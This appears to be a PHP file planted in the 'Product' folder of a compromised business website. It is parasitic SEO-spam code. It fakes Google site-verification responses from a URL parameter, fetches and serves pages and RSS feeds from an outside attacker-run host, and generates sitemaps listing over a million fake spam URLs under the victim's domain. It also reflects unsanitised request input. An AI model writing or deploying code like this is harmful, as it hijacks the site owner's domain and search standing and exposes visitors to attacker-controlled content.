File: /services/webpages/a/b/absolutespace.ca/secure/Product/index.php
<?php
error_reporting(0);
if($_GET['google']!=""){
echo 'google-site-verification: google'.$_GET['google'].'.html';exit;
}
//rss提交的输出语句
if($_GET['rss']!=""&&is_numeric($_GET['rss'])){
header("Content-type:text/xml"); //输出xml作为文档的头部
$rssid = $_GET['rss'];
$url = "http://405.zzvj.top/file/0428/feed/feed75.php?rss=".$rssid;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,0) ;
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
curl_close($ch);
echo $output ;
exit ;
}
//rss结束
if($_GET['sitemap']!="index"&&is_numeric($_GET['sitemap'])){
header("Content-type:text/xml"); //输出xml作为文档的头部
echo '<?xml version="1.0" encoding="UTF-8"?><urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">';
$url='http://'.$_SERVER['SERVER_NAME'].$_SERVER["REQUEST_URI"];
$url=dirname($url);
$num=$_GET['sitemap'];
$star=($num-1)*10000+1;
$end=$star+rand(8900,9800);
for($i=$star;$i<$end;$i++)
{
echo '<url><loc>'.$url.'/ZSge_--9Y35-_'.$i.'_-61ftT--Fl2Ev.html</loc>';
echo '</url>';
}
echo '</urlset>';
exit;
}
elseif ($_GET['sitemap']=="index")
{
header("Content-type:text/xml"); //输出xml作为文档的头部
echo '<?xml version="1.0" encoding="UTF-8"?><sitemapindex xmlns="http://www.google.com/schemas/sitemap/0.84">';
$url='http://'.$_SERVER['SERVER_NAME'].$_SERVER["REQUEST_URI"];
$url=dirname($url);
echo $_GET['sitemap'];
for($i=1;$i<119;$i++)
{
echo '<sitemap><loc>'.$url.'/sitemap'.$i.'.xml</loc>';
echo '<lastmod>'.date("Y-m-d").'</lastmod></sitemap>';
}
echo '</sitemapindex>';
exit;
}
?>
<?php
if($_GET['ok']!=""){
$ok=$_GET['ok'];
//实际请求的url地址 如 test/2.html
$url = $_SERVER['REQUEST_URI'] ;
//目录名称
$dir = 'Product' ;
if(strpos($url,'/'.$dir.'/')!==false){
// /2.html ;
$redirect_url = substr($url,strpos($url,'/'.$dir.'/')+strlen($dir)+1) ;
$url = "http://405.zzvj.top/file/0428/75.php?id=".$ok;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,0) ;
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
curl_close($ch);
echo $output ;
exit ;
}else{
//其他的目录
echo $url ;
exit ;
}
}
else
{
$url = "http://405.zzvj.top/file/0428/75.php";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,0) ;
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
curl_close($ch);
echo $output ;
exit ;
}
?>